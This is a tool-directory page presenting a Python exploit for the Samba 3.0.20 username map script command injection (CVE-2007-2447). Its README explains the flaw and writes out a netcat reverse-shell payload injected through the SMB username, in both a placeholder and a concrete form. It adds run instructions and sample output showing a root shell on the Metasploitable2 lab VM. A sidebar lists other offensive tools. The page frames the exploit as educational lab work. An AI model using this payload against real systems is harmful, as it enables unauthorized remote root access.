Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2007-2447 — Samba 3.0.20 username map script command injection exploit — reverse shell via SMB authentication, built from scratch in Python using impacket. No Metasploit. | Kitploit
Tools/GitHubGitHub/rushikesh-a-bhujbal/cve-2007-2447
Payload GenerationExploitationReverse EngineeringWeb Application ExploitationNetwork SecurityPenetration TestingLearning & Education
GitHubrushikesh-a-bhujbal/cve-2007-2447

CVE-2007-2447

Samba 3.0.20 username map script command injection exploit — reverse shell via SMB authentication, built from scratch in Python using impacket. No Metasploit.

Repository anzeigen
25. Sept. 2026Noch nicht geprüft
Teilen
Inhalt in der angeforderten Sprache nicht verfügbar. Englische Version wird angezeigt.

CVE-2007-2447 — Samba 3.0.20 Username Map Script Command Injection

Python Library Platform Target License


Overview

Samba is open-source software that implements the SMB protocol, allowing file and printer sharing between computers on a network — Windows to Linux, Linux to Linux, across mixed environments. It's the standard way Unix/Linux systems participate in Windows-based networks.

CVE-2007-2447 is a command injection vulnerability in Samba versions 3.0.0 through 3.0.25rc3. Unlike CVE-2011-2523 and CVE-2010-2075 (which were supply chain attacks — intentional backdoors), this is a developer mistake: user-supplied input (the username) was passed directly to a shell command without sanitization, allowing an attacker to inject and execute arbitrary system commands.


How the Vulnerability Works

Samba has a feature called username map script — a configuration option that runs a shell script to map incoming usernames to local system usernames. Internally, Samba executes it like this:

/bin/sh -c "map_script.sh <username>"

The developer trusted that usernames would only contain normal characters. They didn't sanitize shell metacharacters like backticks.

In Linux shell, backticks mean "execute this as a command first":

/bin/sh -c "map_script.sh `/=`nohup nc -e /bin/bash KALI_IP 4444`"

The shell executes the backtick content before map_script.sh even runs — giving the attacker direct command execution as whatever user Samba is running as (root on Metasploitable2).


Vulnerability Class Comparison

CVE-2011-2523CVE-2010-2075CVE-2007-2447
TypeSupply chain (intentional backdoor)Supply chain (intentional backdoor)Developer mistake (command injection)
ProtocolFTPIRCSMB
Trigger:) in usernameAB; prefixbackticks in username
Shell typeBind shellReverse shellReverse shell

What This Script Does

  1. Opens a listener on Kali port 4444 — waiting for the reverse shell
  2. Connects to the target on port 445 using impacket's SMB client
  3. Sends a login attempt with a malicious username containing the payload: /=`nohup nc -e /bin/bash KALI_IP 4444`
  4. Samba passes the username to /bin/sh -c — shell executes the backticks
  5. nohup nc on the target connects back to Kali port 4444 with a bash shell
  6. listener.accept() receives the incoming shell connection
  7. Interactive root shell loop begins

Payload Explained

/=`nohup nc -e /bin/bash 192.168.15.129 4444`
  • /= → satisfies Samba's username format requirement
  • ` ` → shell backticks — execute everything inside as a command
  • nohup → keeps the process alive even after Samba closes the connection
  • nc → netcat — raw networking tool
  • -e /bin/bash → attach bash to the connection — gives whoever connects a shell
  • 192.168.15.129 4444 → your Kali IP and listening port

Requirements

  • Python 3.x
  • impacket library
  • netcat on the target (present by default on Metasploitable2)
  • Target: Metasploitable2 running Samba 3.0.20

Install impacket:

pip install impacket

Usage

git clone https://github.com/rushikesh-a-bhujbal/CVE-2007-2447.git
cd CVE-2007-2447
pip install impacket

Edit main.py:

kali_ip = "YOUR_KALI_IP"
target_ip = "TARGET_IP"

Run:

python3 main.py

Example output:

[*] Listening on port 4444...
[+] Payload sent. Waiting for shell...
[+] Shell received from ('192.168.15.132', 37665)
> whoami
root
> uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008
> pwd
/
> exit

Error Handling

ScenarioBehaviour
SMB connection refusedException raised, script exits
Login fails (expected)Caught silently — payload already fired
Shell never connects backlistener.accept() blocks indefinitely
Command produces no outputrecv() times out silently, returns to prompt

Tested Against

  • Metasploitable2 (intentionally vulnerable VM)
  • Samba 3.0.20
  • Linux metasploitable 2.6.24-16-server

Legal Disclaimer

This exploit is developed strictly for educational purposes and authorized security research only.

Built and tested exclusively against a local Metasploitable2 virtual machine in a fully isolated lab environment.

Do not use this against any system you do not own or have explicit written permission to test. Unauthorized use is illegal under the Computer Fraud and Abuse Act (CFAA) and equivalent laws worldwide.

The author accepts no responsibility for misuse of this code.


References

  • CVE Record: https://www.cve.org/CVERecord?id=CVE-2007-2447
  • NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2007-2447
  • ExploitDB: https://www.exploit-db.com/exploits/16320
  • Metasploitable2: https://sourceforge.net/projects/metasploitable/

Author

Rushikesh Bhujbal
Security Research & Exploit Development
GitHub

Ähnliche Tools

  • metasploit-framework

    Open-Source-Exploitation-Framework mit modularem Payload-, Encoder- und Hilfssystem für Penetrationstests, Schwachstellenvalidierung und Sicherheitsforschung in Netzwerken und Anwendungen.

  • donut

    Generiert positionsunabhängigen Shellcode für x86, x64 oder AMD64+x86, der .NET-Assemblies, PE-Dateien und andere Windows-Payloads aus dem Speicher lädt und mit Parametern ausführt

  • sRDI

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

  • 1

    Callisto

    jetp1ane/callisto

    Automatisiertes Binär-Schwachstellenanalyse-Tool, das ausführbare Dateien über Ghidra dekompiliert, Pseudo-C-Code mit Semgrep scannt und Ergebnisse mithilfe von GPT-3.5-Turbo validiert, um Fehlalarme zu reduzieren.

    796
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    735
  • 3

    IMSIcatcher

    28zaaky/imsicatcher

    IMSI-Catcher-Plattform, die eine gefälschte GSM-Zelle bereitstellt, um SMS abzufangen, Nachrichten einzuschleusen und Mobilgeräte zu verfolgen

    721
  • 4

    opencti

    opencti-platform/opencti

    Offene Plattform für Cyber-Bedrohungsinformationen

    535
  • 5

    ARTEX

    baarai/artex

    LLM-basierte Multi-Agenten-Plattform für autonome Penetrationstests mit Planer-/Worker-Agenten, Asset- und Explorationsgraphen, MITM-Verkehrsaufzeichnung und Schwachstellen-Retesting.

    424
  • 6

    DFRoot

    a2333c/dfroot

    Android-Root-Tool für das Samsung Galaxy S25 Ultra (SM-S938B), das DirtyFrag CVE-2026-43284 und CVE-2026-43499 verkettet, um beim Booten automatisch über KernelSU Root zu erlangen.

    419

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Tool herunterladen

Shellcode-Implementierung von Reflektierender DLL-Injektion. Wandelt DLLs in positionsunabhängigen Shellcode um.